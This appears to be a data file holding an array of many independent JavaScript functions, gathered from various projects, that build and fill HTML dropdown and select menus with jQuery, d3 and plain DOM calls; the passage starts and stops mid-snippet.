document.createElement(\"option\");\n option.value = object.value[i];\n option.text = object.name[i];\n if (object.name[i] === object.default) {\n option.selected = \"selected\";\n }\n dropdown.appendChild(option);\n }\n\n}", "function droplist() {\n\t$.post(\"classlist.hrd\", function(data) {\n\t\t$(\"#classselected\").html(classlist(data));\n\t});\n\t$.post(\"universitylist.hrd\", function(data) {\n\t\t$(\"#unvselected\").html(unvlist(data));\n\t});\n}", "function createList(object){\n \n var select = document.getElementById(\"standardlinks\"); \n\tvar length=select.length;\n\t\n\tfor(i=0;i<=length;i++){\n\t\tselect.remove(1);\n\t\t\n\t}\n\t\n\n\tfor(i=0;i<object.length;i++){\n\t\t//var select = document.getElementById(\"standardlinks\"); \n\t\tvar option = document.createElement(\"option\");\n\t\toption.text = object[i].name;\n\t\toption.value=object[i].link;\n\t\tselect.add(option);\n\t}\n}", "function setupDropDownOptions(uniqueList, divName) {\n for (index in uniqueList) {\n var li = document.createElement('li');\n li.id = index;\n var a = document.createElement('a');\n a.href = \"#\";\n a.innerHTML = uniqueList[index];\n li.appendChild(a);\n $(\"#\" + divName).append(li);\n }\n}", "function initOptions() {\n\t\tfunction selectType() {\n\t\t\tvar options = document.getElementById(\"type\").getElementsByTagName(\"li\");\n\t\t\tfor (var o=options.length; o>0;) {\n\t\t\t\tvar current = options[--o];\n\t\t\t\tcurrent.className = current.className.replace(\" on\", \"\");\n\t\t\t\tif (current.id.match(TYPE)) current.className+=\" on\";\n\t\t\t}\n\t\t}\n\t\tvar div = document.getElementById(\"type\");\n\t\tfor (var o in FUEL_OPTIONS) {\n\t\t\tvar li = document.createElement(\"li\");\n\t\t\tli.id = \"o-\"+o;\n\t\t\tli.textContent = FUEL_OPTIONS[o].name;\n\t\t\tli.className = \"T_\"+FUEL_OPTIONS[o][\"short\"];\n\t\t\tdiv.appendChild(li);\n\t\t\tli.onclick = function(e) {\n\t\t\t\tTYPE = this.id.split(\"-\")[1];\n\t\t\t\tselectType();\n\t\t\t\tupdateAll();\n\t\t\t\treturn stopEvent(e);\n\t\t\t};\n\t\t}\n\t\tdocument.getElementById(\"type-list\").onclick = dropList;\n\t\tselectType(TYPE);\n\t}", "function renderMenu(){\n $.get(\"/api/masterPlants/\", function(mData){\n for (var i=0; i<mData.length; i++){\n var newOption = $(\"<option>\").text(mData[i].common_name).addClass(\"drop-down\");\n newOption.attr({\"value\":mData[i].id});\n $(\"#drop-down\").append(newOption);\n } \n })\n }", "function populateDropDown(dropDownName, arrOfVals){\n arrOfVals.forEach(function(item) {\n $(dropDownName).append(\n \"<option value='\" + item + \"'>\" + item + \"</option>\"\n );\n });\n }", "function createMenus(x) {\n\t\tvar opt_list;\n\t\tvar id_value = data[x].id;\n\t\tvar ques = data[x].question;\n\t\t\n\t\t//getting the value of auth from the local storage.\n\t\tif(window.localStorage){\n\t\t\tauth = localStorage.auth;\n\t\t}\n\t\telse{\n\t\t\tauth = GetCookie(auth);\n\t\t}\n\t\t//preparing list of companies when the candidate doesnot require US Sponsorship.\n\t\tif(id_value === 3 && auth == 1) {\n\t\t\topt_list = data[x].options[1];\n\t\t\t//console.log(opt_list);\n\t\t}\n\t\t//preparing list of companies when the candidate requires US Sponsorship.\n\t\telse if((id_value === 3 && auth == 2)){\n\t\t\topt_list = data[x].options[2];\n\t\t\t//console.log(opt_list);\n\t\t}\n\t\telse {\n\t\t\topt_list = data[x].options;\n\t\t\tconsole.log(opt_list);\n\t\t}\n\t\t//if list has data\n\t\tif(opt_list !== undefined){\n\t\t\tvar default_text = document.createTextNode(ques);\n\t\t\tvar sel = document.createElement(\"select\");\n\t\t\tsel.onchange = function(){onchangeselect(this)};\n\t\t\tvar default_opt = document.createElement('option');\n\t\t\tdefault_opt.appendChild(default_text);\n\t\t\tdefault_opt.setAttribute(\"disabled\", \"disabled\");\n\t\t\tdefault_opt.setAttribute(\"selected\", \"selected\");\n\t\t\tsel.appendChild(default_opt);\t\n\t\t\t\n\t\t\t//generating option tags\n\t\t\tfor(var i = 0; i<opt_list.length; i++){\n\t\t\t\tconsole.log(\"here\");\n\t\t\t\tvar opt = document.createElement('option');\n\t\t\t\tconsole.log(opt);\n\t\t\t\topt.value = opt_list[i];\n\t\t\t\topt.text = opt_list[i] ;\n\t\t\t\tsel.appendChild(opt);\t\n\t\t\t}\n\t\t\tvar section = document.createElement(\"div\");\n\t\t\tsection.setAttribute(\"id\", id_value);\n\t\t\tmain_div.appendChild(section);\n\t\t\tif(id_value == 2 || id_value == 3){\n\t\t\t\tsection.appendChild(selection_name);\n\t\t\t}\n\t\t\t//section.appendChild(ques_header);\n\t\t\tsection.appendChild(sel);\n\t\t}\n\t\telse {\n\t\t\tvar msg = document.createElement(\"h1\");\n\t\t\tvar nodeText = document.createTextNode(\"Sorry, no companies coming up this career fair! Apply on handshake instead!\");\n\t\t\tmsg.appendChild(nodeText);\n\t\t\tvar section = document.createElement(\"div\");\n\t\t\tsection.setAttribute(\"id\", 3);\n\t\t\tmain_div.appendChild(section);\n\t\t\tsection.appendChild(msg);\n\t\t}\n}", "function createModules() {\n $(\"#base\").empty();\n var $o = makeSelect(mods);\n\n for (var key in modules) {\n if (modules.hasOwnProperty(key)) {\n var obj = modules[key];\n $o.find('select').append('<option value=\"' + obj.name + '\">' + obj.name + '</option>');\n }\n }\n\n $('#base').prepend($o);\n }", "function loadDropdownMenusForCreateNodeModal() {\n addDropdownMenuOptions(\"inputLicense\", \"license\");\n addDropdownMenuOptions(\"inputVersion\", \"version\");\n addDropdownMenuOptions(\"inputProfessionalOwner\", \"profOwner\");\n addDropdownMenuOptions(\"inputTechnicalOwner\", \"techOwner\");\n addDropdownMenuOptions(setListAttributeForInput(\"inputDepartments\"), \"departments\");\n addDropdownMenuOptions(setListAttributeForInput(\"inputTags\"), \"tags\");\n}", "function dropDown() {\n // Use list of sample names to render the select options\n Plotly.d3.json(\"/names\", function (error, response) {\n if (error) return console.warn(error);\n\n let selection = document.getElementById(\"select-dataset\");\n for (let i = 0; i < response.length; i++) {\n let selectedOption = document.createElement(\"option\");\n selectedOption.text = response[i];\n selectedOption.value = response[i];\n selection.appendChild(selectedOption);\n }\n getData(response[0], createCharts);\n });\n}", "function createDropDownList(data, idList, idBlock, name) {\n var ddl = `\n <select id=\"${idList}\" class=\"form-control my-4\">\n <option value=\"0\"> Choose ${name} </option>\n `;\n\n for (let obj of data) {\n ddl += `\n <option value=\"${name == 'Device' ? obj.idCat : obj.idModel}\">${\n obj.name\n }</option>\n `;\n }\n\n ddl += '</select>';\n\n document.getElementById(idBlock).innerHTML = ddl;\n $('#' + idList).change(filterChange);\n}", "function populateDropDownList(lines){\n id('selectEmail').innerHTML = \"\";\n var heading = document.createTextNode(\"Choose Below Option\");\n var opt0 = document.createElement('option');\n //append textnode to opt0\n opt0.appendChild(heading);\n //now append opt0 to dropdown list\n id('selectEmail').appendChild(opt0);\n \n /*loop through the list of friends\n and add them to the dropdown list\n */\n for(var i=0;i<lines.length;i++){\n //create text node of next friend on the list\n var friend = document.createTextNode(lines[i]);\n //create an option element for that friend\n var opt = document.createElement('option');\n //now append them all to dropdown List\n opt.appendChild(friend);\n id('selectEmail').appendChild(opt);\n }\n }", "function createSelect(rawData, itemName) {\n console.log(\"itemName\", itemName);\n console.log(\"itemName full\", \"select_\" + itemName);\n console.log(\"rawdata\", rawData);\n var myDiv = document.getElementById(\"select_\" + itemName);\n var myDiv1 = document.getElementById(\"select_input_woid\");\n console.log(\"myDiv1\", myDiv1);\n if (itemName != \"select_input_woid\") {\n myDiv.innerHTML = \"\";\n } else {\n myDiv1.innerHTML = \"\";\n }\n\n\n if (itemName == \"wotracking-woid\") {\n var option1 = document.createElement(\"option\");\n option1.value = \"\";\n option1.text = \"\";\n myDiv.appendChild(option1);\n\n\n var options = \"\";\n for (var i = 0; i < rawData.length; i++) {\n\n var option = document.createElement(\"option\");\n option.value = String(rawData[i][\"woid\"]).trim();//Subcon QC\n option.text = String(rawData[i][\"woid\"]).trim();\n // console.log(\"option\",option);\n myDiv.appendChild(option);\n }\n }\n\n //if (itemName = \"select_input_woid\") {\n\n // var options = \"\";\n // for (var i = 0; i < rawData.length; i++) {\n // var woid = String(rawData[i][\"woid\"]).trim();\n // options += '<option value=\"' + woid + '\" />';\n // // var option1 = document.createElement(\"option\");\n // // option1.value = \"\";\n // // option1.text = \"\";\n // // myDiv1.innerHTML =(option);\n // }\n // myDiv1.innerHTML = options;\n //}\n\n if (itemName == \"wotracking-pausereason\") {\n var option1 = document.createElement(\"option\");\n option1.value = \"\";\n option1.text = \"\";\n myDiv.appendChild(option1);\n\n for (var i = 0; i < rawData.length; i++) {\n var option = document.createElement(\"option\");\n option.value = String(rawData[i][\"reason\"]).trim();//Subcon QC\n option.text = String(rawData[i][\"reason\"]).trim();\n // console.log(\"option\",option);\n myDiv.appendChild(option);\n }\n }\n\n if (itemName == \"wotrackingremark\") {\n var option1 = document.createElement(\"option\");\n option1.value = \"\";\n option1.text = \"\";\n myDiv.appendChild(option1);\n\n for (var i = 0; i < rawData.length; i++) {\n var option = document.createElement(\"option\");\n option.value = String(rawData[i][\"remark\"]).trim();//Subcon QC\n option.text = String(rawData[i][\"remark\"]).trim();\n // console.log(\"option\",option);\n myDiv.appendChild(option);\n }\n }\n\n if (itemName == \"preprocessremark\") {\n var option1 = document.createElement(\"option\");\n option1.value = \"\";\n option1.text = \"\";\n myDiv.appendChild(option1);\n\n for (var i = 0; i < rawData.length; i++) {\n var option = document.createElement(\"option\");\n option.value = String(rawData[i][\"scrapRemark\"]).trim();//Subcon QC\n option.text = String(rawData[i][\"scrapRemark\"]).trim();\n // console.log(\"option\",option);\n myDiv.appendChild(option);\n }\n }//wotracking-scrap-remark\n\n if (itemName == \"wotracking-scrap-remark\") {\n //var option1 = document.createElement(\"option\");\n //option1.value = \"\";\n //option1.text = \"\";\n //myDiv.appendChild(option1);\n\n for (var i = 0; i < rawData.length; i++) {\n var option = document.createElement(\"option\");\n option.value = String(rawData[i][\"scrapRemark\"]).trim();//Subcon QC\n option.text = String(rawData[i][\"scrapRemark\"]).trim();\n // console.log(\"option\",option);\n myDiv.appendChild(option);\n }\n }//\n\n \n\n\n }", "function create_form_drop_down(name,elements)\n{\n let drops = [];\n name += \"<m style='color: red; display: inline-block;'> * </m>\";\n for(let i = 0;i < elements.length ; i++)\n {\n drops.push(`<option value=\"${elements[i]}\">${elements[i]}</option>`)\n };\n return `<div class=\"input_container\">\n <label for=\"${name.toLowerCase()}\">\n <b>${name} : </b>\n </label>\n <br>\n <select type=\"text\" class=\"data\" name=\"${name.toLowerCase()}\">\n ${drops.join('')}\n </select>\n </div>`;\n}", "_fillSelects() {\n\t\t// octaves\n\t\tfor (let i = 1; i <= 7; i++) {\n\t\t\tlet option = document.createElement(\"option\");\n\t\t\toption.value = i;\n\t\t\toption.textContent = i;\n\t\t\tthis._octaveSelectEl.appendChild(option);\n\t\t}\n\n\t\t// keys\n\t\tCHORDS_KEYS.forEach(key => {\n\t\t\tlet option = document.createElement(\"option\");\n\t\t\toption.value = key;\n\t\t\toption.textContent = key;\n\t\t\tthis._keySelectEl.appendChild(option);\n\t\t});\n\n\t\t// notes\n\t\tCHORDS_NOTES.forEach(note => {\n\t\t\tlet option = document.createElement(\"option\");\n\t\t\toption.value = note;\n\t\t\toption.textContent = note;\n\t\t\tthis._noteSelectEl.appendChild(option);\n\t\t});\n\n\t\t// def. values\n\t\tlet middleC = Note.middleC();\n\n\t\tthis._octaveSelectEl.value = middleC.octave;\n\t\tthis._noteSelectEl.value = middleC.note;\n\t}", "function createVTypList(data){\n \n var typeOption;\n $(\"#vehicle-menu\").empty(); \n //add first option \n typeOption=$(\"<option>\").addClass(\"vehicle-option\").text(\"Select Vehicle Type\").val(\"1\");\n $(\"#vehicle-menu\").append(typeOption);\n\n //for all the vehicle types, create the dropdown select list\n for(var k=0;k<data.length;k++){ \n var dataType=data[k].VehicleTypeName;\n //remove the duplicate vehicle types pulled from API\n if(!typeArr.includes(dataType)){\n typeArr.push(dataType);\n typeOption=$(\"<option>\").addClass(\"typClass\").text(dataType);\n $(\"#vehicle-menu\").append(typeOption); \n }\n }\n //enable vehicle type select tag, so user can select the vehicle type\n $(\"#vehicle-menu\").prop(\"disabled\",false).css(\"color\",\"#222\");\n typeArr=[];\n}", "function generateDropdownMenu() {\n\tvar dropdownContent = document.getElementById(\"dropdown-content\");\n\tvar oldDropdownList = document.getElementById(\"dropdownList\");\n\tif (dropdownContent) {\n\t\tvar newDropdownList = document.createElement(\"ul\");\n\t\tnewDropdownList.id = \"dropdownList\";\n\t\tfor (var i = 0; i < tracks.length; i++) {\n\t\t\tvar track = tracks[i];\n\t\t\tvar trackEntry = document.createElement(\"li\");\n\t\t\ttrackEntry.id = \"trackEntry\" + i;\n\t\t\ttrackEntry.classList.add(\"dropdown-content\");\n\t\t\ttrackEntry.addEventListener(\"click\", function() {\n\t\t\t\tsetTimeout(function() {\n\t\t\t\t\tcurrentTrack = track;\n\t\t\t\t\tresetTime();\n\t\t\t\t\tshowFutureStrokes(currentTrack);\n\t\t\t\t}, visualDelay);\n\t\t\t});\n\t\t\tvar text = document.createTextNode(track.name);\n\t\t\ttrackEntry.appendChild(text);\n\t\t\tnewDropdownList.appendChild(trackEntry);\n\t\t}\n\t\tdropdownContent.replaceChild(newDropdownList, oldDropdownList);\n\t}\n}", "function populate_dropdown(entries) {\r\n entries = entries.slice(0, _settings.limit);\r\n\r\n var list = $('<ul></ul>').addClass('list-group');\r\n entries.forEach(function(entry) {\r\n list.append($('<li></li>').text(entry).data('id', entry).addClass('list-group-item'));\r\n });\r\n\r\n $dropdown.html(list).show(_settings.fade_time, function() {\r\n // Reset dropdown selected index\r\n $dropdown.data('selected_index', 0);\r\n var options = $dropdown.find('li');\r\n options.removeAttr('selected');\r\n options.eq(0).attr('selected', 'selected');\r\n });\r\n }", "function addOption_list(refresh){\r\n switch(refresh) {\r\n case (true):\r\n var weaponIndex = document.getElementById(\"Table_list\").selectedIndex;\r\n\r\n // Clear Deeds dropdown menus\r\n document.querySelector('#Deeds_list').querySelectorAll('OPTION:not([value=\"\"])').forEach(elm => elm.parentNode.removeChild(elm));\r\n\r\n // Populate Deeds dropdown based on selected weapon\r\n var str = deeds.byWeapon[weaponIndex-1][\"deeds\"];\r\n var list2 = new Array();\r\n var list2 = str.split(\", \");\r\n for (var i=0; i < list2.length;++i){\r\n entry = list2[i];\r\n addOption(document.drop_deeds.Deeds_list, entry, entry);\r\n }\r\n break;\r\n \r\n default:\r\n \r\n // Define array containing choices for dropdown menus 1, 2, 3, 4 and 5\r\n var list1 = deeds.byWeapon\r\n var list2 = deeds.Tables;\r\n\r\n var list3 = new Array(\"1: One-Man Army\", \"2: 'It's Fifty-Fifty'\", \"3: 'I'll Take My Chances...'\");\r\n var list4 = new Array(\"Apply Advantage\", \"Apply Disadvantage\");\r\n var list5 = new Array(\"d4\", \"d6\",\"d8\",\"d10\",\"d12\");\r\n var list6 = new Array(\"d3\",\"d4\",\"d5\",\"d6\",\"d7\",\"d10\");\r\n \r\n for (var i=0; i < list1.length;++i){\r\n entry = list1[i].weapon\r\n addOption(document.drop_weapons.Table_list, entry, entry);\r\n }\r\n \r\n for (var i=0; i < list2.length;++i){\r\n entry = list2[i].name\r\n addOption(document.drop_deeds.Deeds_list, entry, entry);\r\n }\r\n\r\n for (var i=0; i < list3.length;++i){\r\n entry = list3[i] // Note the difference - list3 is an array, not an object\r\n addOption(document.drop_modes.Modes_list, entry, entry);\r\n }\r\n \r\n for (var i=0; i < list4.length;++i){\r\n entry = list4[i] // Note the difference - list4 is an array, not an object\r\n addOption(document.drop_adv.Advan_list, entry, entry);\r\n }\r\n\r\n for (var i=0; i < list5.length;++i){\r\n entry = list5[i] // Note the difference - list5 is an array, not an object\r\n addOption(document.drop_weapon_die.DMG_list, entry, entry); \r\n }\r\n\r\n for (var i=0; i < list6.length;++i){\r\n entry = list6[i] // Note the difference - list6 is an array, not an object\r\n addOption(document.drop_deedDie.Deed_Die_list, entry, entry); \r\n }\r\n }\r\n}", "function loadDropDown(){\r\n var dropDown = document.getElementsByClassName(\"dropDowns\");\r\n for(var j = 0; j < dropDown.length; j++){\r\n for(var i = 0; i < 10; i++){\r\n var option = document.createElement(\"option\");\r\n option.text = i + 1;\r\n option.value = i + 1;\r\n dropDown.item(j).add(option);\r\n }\r\n }\r\n }", "function createDropDown(fillArray, codeSnippet){\r\n\t\tvar dropDownOutput = '<select class=\"home-txt\" style=\"width:100px\">';\r\n\t\tif(codeSnippet)\r\n\t\t\tdropDownOutput +=codeSnippet;\r\n\t\tfor(var dropDownOptions=0; dropDownOptions< fillArray.length ;dropDownOptions++ ){\r\n\t\t\tdropDownOutput += '<option value=\"'+fillArray[dropDownOptions]+'\">'+fillArray[dropDownOptions]+'</option>';\r\n\t\t}\r\n\t\treturn dropDownOutput;\r\n\t}", "function createGroups(){\n\t\t\n\t\tvar formTag = document.getElementsByTagName(\"form\"),\n\t\t\tselectLi = $('select'),\n\t\t\tcreateSelect = document.createElement('select');\n\t\t\tcreateSelect.setAttribute(\"id\", \"groups\");\n\t\t\n\t\tfor(var i=0, j=catGroups.length; i<j; i++){\n\t\t\t\n\t\t\tvar createOptions = document.createElement('option');\n\t\t\tvar optionText = catGroups[i];\n\t\t\tcreateOptions.setAttribute(\"value\", optionText);\n\t\t\tcreateOptions.innerHTML = optionText;\n\t\t\tcreateSelect.appendChild(createOptions);\n\t\t}\n\t\t\n\t\tselectLi.appendChild(createSelect);\n\t\t\n\t\t\n\t}", "function createOptionsList() {\n if (!this.soundSelected) select.textContent = audios['defaultStatus'];\n else select.textContent = this.soundSelected;\n \n for (let key in audios){\n if (key == 'defaultStatus') continue;\n let option = document.createElement('div');\n option.classList.add('sound_option');\n option.textContent = audios[key].name;\n options.append(option);\n }\n }", "function buildTheDropdown(){\n\tconsole.log('inside buildTheDropdown');\n\tfor(counter=0;counter<foods.length;counter++)\n\t{\n\t\tconsole.log('inside loop:'+counter);\n\t\tvar optionString='';\n\t\toptionString+='<option value=''';\n\t\toptionString+=foods[counter];\n\t\toptionString+='\">';\n\t\toptionString+=foods[counter].toUpperCase();\n\t\toptionString+='</option>';\n\n\t\tconsole.log(optionString);\n\t\t$('#food_selector').append(optionString);\n\t}\n}", "static dropDownMenuForInteraction() {\n // add variables list\n\n d3.selectAll('.variable1').remove();\n d3.selectAll('.variable2').remove();\n d3.selectAll('.time').remove();\n\n netSP.variableInfo.forEach(d=>{\n d3.select('#variable1').append('option').attr('class','variable1').attr('value',d[1]).text(d[1]);\n d3.select('#variable2').append('option').attr('class','variable2').attr('value',d[1]).text(d[1]);\n });\n netSP.timeInfo.forEach((d,i)=>{\n if (i) d3.select('#time').append('option').attr('class','time').attr('value',d).text(d);\n });\n // if (visualizingOption === 'LMH') {\n // d3.select('#dataInstances').attr('disabled','');\n // d3.select('#variable').attr('disabled','');\n // }\n // if (visualizingOption === 'tSNE'||visualizingOption === 'PCA'||visualizingOption === 'UMAP') {\n // d3.select('#dataInstances').attr('disabled',null);\n // d3.select('#variable').attr('disabled',null);\n // }\n }", "function create_select (ele, create, the_list, clss, empty)\n{\n var optGrp,x,i;\n ele = ele.indexOf('#')!=-1?ele.substr(1):ele;\n var select_field = document.getElementById(ele);\n\n if (empty) the_list[0] = 'Select...';\n if (create)\n {\n edit_element = { id:ele, name:ele, clss:clss, onclick:''};\n select_field = creo(edit_element,'select');\n }/*end if*/\n optGrp = select_field.getElementsByTagName('optgroup');\n if (optGrp.length > 0 ) for (i=optGrp.length-1;i>=0;i--) select_field.removeChild(optGrp[i]);\n if (select_field.length > 0)for (x=select_field.length-1; x>=0; x--) select_field.remove(x);\n\n for (i in the_list)\n {\n if (i=='in_array') continue;/*view the addition of in_array @js.js:158*/\n var option = document.createElement('option');\n option.value = i;\n option.text = the_list[i];\n select_field.add(option,select_field.options[null]);\n /*try {select_field.add(option,select_field.options[null]);} catch(e) { select_field.add(option,null);}*/\n }/*end for*/\n return select_field;\n}", "function makeCategory() {\n var pageForms = document.getElementsByTagName(\"form\"), // pageForms is an array of all the form tags\n selectLi = $(\"select\"),\n makeSelect = document.createElement(\"select\");\n\n makeSelect.setAttribute(\"id\", \"Title\");\n for (var i = 0; i < titleList.length; i++){\n var makeOption = document.createElement(\"option\");\n var optText = titleList[i];\n makeOption.setAttribute(\"value\", optText);\n makeOption.innerHTML = optText;\n makeSelect.appendChild(makeOption);\n }\n selectLi.appendChild(makeSelect);\n }", "function putItemsInSelect(){\n\tfor(var i = 0; i < patient_items.length; i++){\n\t\t$(\"#patient-list\").append(\"<option value='\" + patient_items[i] + \"'>\" + patient_items[i] + \"</options>\");\n\t}\n\tfor(var i = 0; i < test_type_items.length; i++){\n\t\t$(\"#test-type-list\").append(\"<option value='\" + test_type_items[i] + \"'>\" + test_type_items[i] + \"</options>\");\n\t}\n\tfor(var i = 0; i < date_items.length; i++){\n\t\t$(\"#date-list\").append(\"<option value='\" + date_items[i] + \"'>\" + date_items[i] + \"</options>\");\n\t}\n}", "function Dropdown(){\n this.createDropdown = function(dict, name, id, selected){\n this.item = document.createElement(\"select\")\n\t\tthis.name = name\n\n\t\tvar ttmp = document.createElement(\"label\")\n\t\tttmp.setAttribute(\"name\", name)\t\t\t\n\t\tttmp.innerHTML = this.name\n\t\tthis.item.appendChild(ttmp)\n\n \t\tfor(var x in dict){\n \t\tvar tmp =document.createElement(\"option\")\n \t\ttmp.setAttribute('value',dict[x])\n \t\ttmp.innerHTML= x + '<br>' \n \n \t\tthis.item.appendChild(tmp)\n \t}\n\n },\n \n this.getSelected = function(){\n this.item=document.getElementById()\n },\n\n this.addToDocument = function(){\n document.body.appendChild(this.item);\n\n }\n}", "function initializeSlideDropdown() {\n var html = \"\";\n\n for (var i = 0; i < storyLength; i++) {\n html += \"<option>\" + (i+1) + \": \" + titleList[i] + \"</option>\\n\";\n }\n\n $slideDropdown.append(html);\n}", "function initPage(data) \n {\n var sel = $(\"#parent\");\n \n sel.empty();\n \n for (var i = 0; i < data.length; i++) {\n if(i === 0){\n sel.append('<option disabled selected>-- Choose Category --</option>');\n }\n \n sel.append('<option value=\"' + data[i].id + '\">' + data[i].title + '</option>');\n }\n }", "function optLists(select, count){\n\t\t\tvar options = $(select).children('option');\n\t\t\tvar list = '<dl class=\"sexySelectMenu\" style=\"display:none;\" count=\"'+count+'\">';\n\t\t\toptions.each(function(){\n\t\t\t\tlist+= '<dd class=\"sexySelectOpt\" value=\"'+ $(this).val() +'\" count=\"'+count+'\">'+ $(this).text() +'</dd>';\n\t\t\t});\n\t\t\tlist += '</dl>';\n\t\t\treturn list;\n\t\t}", "function showToChildList(data){\n\tvar toID = parseInt(document.getElementById(\"to_level_id\").value) + 1;\n\t\t//var toID = parseInt(document.getElementById(\"to_level_id\").value);\n\tvar anOption = document.createElement(\"OPTION\") ;\n\tdocument.getElementById(\"to_level_\"+toID).options.add(anOption) ;\n\tanOption.text = \"Select\";\n\tanOption.value = \"\"; \n\tfor(var key in data){\n\t\tvar anOption = document.createElement(\"OPTION\") ;\n\t\tdocument.getElementById(\"to_level_\"+toID).options.add(anOption) ;\n\t\tanOption.text = data[key].localBodyNameInEnglish;\n\t\tanOption.value = data[key].localBodyCode; \t\t\n\t}\n\tdocument.getElementById(\"to_level_id\").value = toID;\n}", "function createDropdownOptions() {\n //select dropdown <select> in well.html with id:\"multiple-site-filter\"\n var multipleSiteSelector = d3.select(\"#multiple-site-filter\");\n //read in the wellNames.json file, which contains the array \"names\" with all the well names\n d3.json('./static/wellNames.json').then((data) => {\n // console.log(data);\n var wellOptions = data.names;\n wellOptions.forEach((well) => {\n multipleSiteSelector\n .append('option')\n .text(well)\n .property('Value', well);\n })\n})\n}", "function FillDataToDropDownlist(idDropdownlist, arrDataSource, valueField, textFiled) {\n $(\"#\" + idDropdownlist).empty();\n var option = '';\n option += \"<option></option>\"; //add empty data\n for (var i = 0; i < arrDataSource.length; i++) {\n option += '<option value=\"' + arrDataSource[i][valueField] + '\">' + arrDataSource[i][textFiled] + \"</option>\";\n }\n $('#' + idDropdownlist).append(option);\n\n //Format dropdownlist to selection\n Selection2(idDropdownlist);\n}", "function populateForm(availableFlights) {\n let selectf = DOM.elid(\"flight-selection\");\n availableFlights.forEach((availableFlight, key) => {\n console.log(availableFlight, key);\n let optionf = DOM.option();\n DOM.appendText(optionf,Object.values(availableFlight));\n selectf.appendChild(optionf); \n });\n let selects = DOM.elid(\"flight-status-selection\");\n availableFlights.forEach((availableFlight, key) => {\n console.log(availableFlight, key);\n let options = DOM.option();\n DOM.appendText(options,Object.values(availableFlight));\n selects.appendChild(options);\n });\n}", "makeSelect(data){\n\t\tvar select = document.getElementsByName(\"selectblog\")[0];\n\t\tvar html;\n\t\tfor(var i in data){\n\t\t\tvar option = document.createElement(\"option\"); \n\t\t\toption.setAttribute(\"value\", data[i].ID);\n\t\t\toption.text = data[i].name_blog;\n\t\t\tselect.add(option);\n\t\t}\n\t}", "function makeWorkOuts(){\n \t\tvar formTag = document.getElementsByTagName(\"form\"), // formTag is array of all of the form tags. \n \t\t\tselectLi = $('select'),\n \t\t\tmakeSelect = document.createElement('select');\n \t\t\tmakeSelect.setAttribute(\"id\", \"groups\");\n \t\tfor (var i=0; j=workOutGroups.length; i<j; i++) {\n \t\t\tvar makeOption = document.createElement('option');\n \t\t\tvar optText = workOutGroups[i];\n \t\t\tmakeOption.setAttribute(\"value\", optText);\n \t\t\tmakeOption.innerHTML = optText;\n \t\t\tmakeSelect.appendChild(makeOption);\n \t\t}\n \t\tselectLi.appendChild(makeSelect);\n \t }", "function createMenus() {\n\t\tlet targetLen = targets.length;\n\t\tfor (let i = 0; i < targetLen; i++) {\n\t\t\t//create menu element wrapper + ul + button + hide select menu\n\t\t\tcreateWrapper(document.createElement('div'), i);\n\n\t\t\tlet optionGroups = targets[i].getElementsByTagName('optgroup');\n\t\t\tselectedItem = targets[i].selectedIndex;\n\t\t\titemHeight = 0;\n\n\t\t\t//create option groups if they are present else create normal list items\n\t\t\tif (optionGroups.length != 0) {\n\t\t\t\t//yes there are option groups\n\n\t\t\t\t//determine if option groups have labels present\n\t\t\t\tlet hasLabels;\n\t\t\t\tif (!optionGroups[0].label) {\n\t\t\t\t\thasLabels = false;\n\t\t\t\t} else {\n\t\t\t\t\thasLabels = true;\n\t\t\t\t}\n\n\t\t\t\t//loop through option groups\n\t\t\t\tfor (let k = 0; k < optionGroups.length; k++) {\n\t\t\t\t\t//get children of option groups\n\t\t\t\t\tlet optionGroupChildren = optionGroups[k].getElementsByTagName('option');\n\n\t\t\t\t\t//create divider element\n\t\t\t\t\tlet divider = document.createElement('div');\n\t\t\t\t\tdivider.className = selector + '__divider';\n\n\t\t\t\t\t// if labels are present, put them before the list item\n\t\t\t\t\t// otherwise put a divider after (unless it is the last item)\n\t\t\t\t\tif (hasLabels == true) {\n\t\t\t\t\t\t//create divider\n\t\t\t\t\t\tlet dividerLabel = document.createElement('span');\n\t\t\t\t\t\tlet labelText = document.createTextNode(optionGroups[k].label);\n\t\t\t\t\t\tdividerLabel.className = selector + '__divider-label';\n\n\t\t\t\t\t\tif (k === 0) {\n\t\t\t\t\t\t\tdividerLabel.classList.add(selector + '__divider-label--first');\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdividerLabel.appendChild(labelText);\n\t\t\t\t\t\tdivider.appendChild(dividerLabel);\n\t\t\t\t\t\toptionList.appendChild(divider);\n\n\t\t\t\t\t\t//calculate height of divider\n\t\t\t\t\t\taddItemHeight(dividerLabel);\n\n\t\t\t\t\t\t// create the list item\n\t\t\t\t\t\tfor (let j = 0; j < optionGroupChildren.length; j++) {\n\t\t\t\t\t\t\tcreateListItem(optionGroupChildren[j]);\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// create the list item\n\t\t\t\t\t\tfor (let j = 0; j < optionGroupChildren.length; j++) {\n\t\t\t\t\t\t\tcreateListItem(optionGroupChildren[j]);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (k != optionGroups.length - 1) {\n\t\t\t\t\t\t\t//create line\n\t\t\t\t\t\t\tlet dividerLine = document.createElement('span');\n\t\t\t\t\t\t\tdividerLine.className = selector + '__divider-line';\n\t\t\t\t\t\t\tdivider.appendChild(dividerLine);\n\t\t\t\t\t\t\toptionList.appendChild(divider);\n\n\t\t\t\t\t\t\t//calculate height of item to offset menu items\n\t\t\t\t\t\t\taddItemHeight(dividerLine);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t//prevent clicks on optgroup dividers\n\t\t\t\t\tdivider.addEventListener('click', stopProp, false);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t//no there are no option groups\n\n\t\t\t\t//create select items (no groups)\n\t\t\t\tfor (let k = 0; k < targets[i].length; k++) {\n\t\t\t\t\t//console.log(objectData.elements[i].options[k]);\n\t\t\t\t\tcreateListItem(targets[i].options[k]);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "function manage_existing_dropdowns(selected_attributes){\n jQuery.each($(\".opts_class:visible\"), function() {\n \n var total_dropdowns = $(this).children('select:visible').length;\n var opts_id = $(this).attr('id');\n\n if (total_dropdowns != 0) {\n //Check if total visible dropdowns correspond to the total attributes selected, to either add needed dropdowns or hide them\n if(total_dropdowns < selected_attributes.length) {\n \n var hidden_select = $(this).children('select:hidden');\n jQuery.each(hidden_select, function(){\n \n var hidden_select_id = $(this).attr('id');\n var simpler_name = hidden_select_id != undefined ? hidden_select_id.slice(0, -2) : '';//remove index in the name of existing selects\n \n //when it's CREATE form\n //if select id IS in selected_attributes array\n console.log(hidden_select_id + \" - \" 